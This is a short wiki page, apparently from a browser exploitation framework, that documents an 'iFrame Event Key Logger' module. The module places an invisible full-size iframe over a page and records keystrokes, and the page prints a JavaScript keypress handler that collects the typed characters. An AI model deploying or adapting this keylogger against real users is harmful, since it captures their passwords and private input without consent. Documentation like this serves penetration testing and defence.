Skip to content

Module: iFrame Event Key Logger

Jess Williams edited this page Jan 13, 2020 · 2 revisions

Summary

  • Objective: Log keys through a 100% iframe overlay

  • Authors: antisnatchor

  • Browsers: all except Opera

  • Code

Internal Working

Adds a 100% size invisible iframe and an event listener that fires on keypress.

    // add the pressed key to the keystroke stream array
    function keyPressHandler(evt) {
        evt = evt || window.event;
        if (evt) {
            var keyCode = evt.charCode || evt.keyCode;
            charLogged = String.fromCharCode(keyCode);
            stream.push(charLogged);
        }
    }

Feedback

Clone this wiki locally